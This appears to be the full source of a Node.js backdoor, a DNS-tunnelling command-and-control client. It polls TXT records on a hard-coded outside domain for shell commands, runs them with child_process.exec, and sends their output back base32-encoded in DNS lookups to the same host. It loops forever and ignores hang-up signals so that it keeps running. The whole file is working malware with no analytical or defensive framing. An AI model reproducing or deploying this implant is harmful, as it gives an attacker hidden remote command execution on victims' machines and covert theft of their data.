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const DOMAIN = 'zcz.cflems.org';
const MAX_CHUNK_SIZE = 35;
const MAX_ENCODED_SIZE = 63;
const MAX_TOTAL_SIZE = 255 - DOMAIN.length;
const MAX_CHUNKS = Math.floor(MAX_TOTAL_SIZE / MAX_ENCODED_SIZE);
const NOP_SLEEP_TIME = 1;
const dns = require('dns');
const cp = require('child_process');
process.on('SIGHUP', function() {});
function sleep(sec) {
return new Promise(function(resolve) {
setTimeout(resolve, 1000*sec);
});
}
function getDNSText(dest) {
return new Promise(function(resolve, reject) {
dns.resolveTxt(dest, function(err, records) {
if (err) reject(err);
else resolve(records);
});
});
}
function system(cmd) {
return new Promise(function(resolve, reject) {
cp.exec(cmd, function (err, stdout, stderr) {
if (err) reject(err);
else resolve({stdout, stderr});
});
});
}
async function eventLoop() {
while (true) {
try {
await event();
} catch (e) {
await sleep(NOP_SLEEP_TIME);
}
}
}
async function event() {
const records = await getDNSText('asuh.' + DOMAIN);
if (!records[0] || !records[0][0] || records[0][0] == 'nop') {
await sleep(NOP_SLEEP_TIME);
return;
}
for (const record of records) {
const rtxt = record.join('');
let {stdout, stderr} = await system(rtxt);
let packets = [];
stdout = stdout.trim();
stderr = stderr.trim();
if (stdout.length > 0) {
for (let line of stdout.split('\n')) {
packets = packets.concat(encode(line));
}
}
if (stderr.length > 0) {
for (line of stderr.split('\n')) {
packets = packets.concat(encode(line));
}
}
packets = packets.concat(encode('\xde\xadDONE'));
for (const packet of packets) {
await getDNSText(packet + DOMAIN);
}
}
}
function encode(s) {
const packets = [];
let parcel = '';
while (s.length > 0) {
const chunk = b32(s.substr(0, MAX_CHUNK_SIZE));
if (parcel.length + chunk.length + 1 > MAX_TOTAL_SIZE) {
packets.push(parcel);
parcel = '';
}
parcel = chunk + '.' + parcel;
s = s.substr(MAX_CHUNK_SIZE);
}
if (parcel.length > 0) packets.push(parcel);
return packets;
}
function b32(s) {
const a = 'abcdefghijklmnopqrstuvwxy1234567';
const pad = 'z';
const len = s.length;
let o = '';
let w, c, r=0, sh=0;
for(let i=0; i<len; i+=5) {
c = s.charCodeAt(i);
w = 0xf8 & c;
o += a.charAt(w>>3);
r = 0x07 & c;
sh = 2;
if ((i+1)<len) {
c = s.charCodeAt(i+1);
w = 0xc0 & c;
o += a.charAt((r<<2) + (w>>6));
o += a.charAt( (0x3e & c) >> 1 );
r = c & 0x01;
sh = 4;
}
if ((i+2)<len) {
c = s.charCodeAt(i+2);
w = 0xf0 & c;
o += a.charAt((r<<4) + (w>>4));
r = 0x0f & c;
sh = 1;
}
if ((i+3)<len) {
c = s.charCodeAt(i+3);
w = 0x80 & c;
o += a.charAt((r<<1) + (w>>7));
o += a.charAt((0x7c & c) >> 2);
r = 0x03 & c;
sh = 3;
}
if ((i+4)<len) {
c = s.charCodeAt(i+4);
w = 0xe0 & c;
o += a.charAt((r<<3) + (w>>5));
o += a.charAt(0x1f & c);
r = 0;
sh = 0;
}
}
if (sh != 0) { o += a.charAt(r<<sh); }
const padlen = 8 - (o.length % 8);
if (padlen==8) { return o; }
if (padlen==1) { return o + pad; }
if (padlen==3) { return o + pad + pad + pad; }
if (padlen==4) { return o + pad + pad + pad + pad; }
if (padlen==6) { return o + pad + pad + pad + pad + pad + pad; }
return false;
}
eventLoop();
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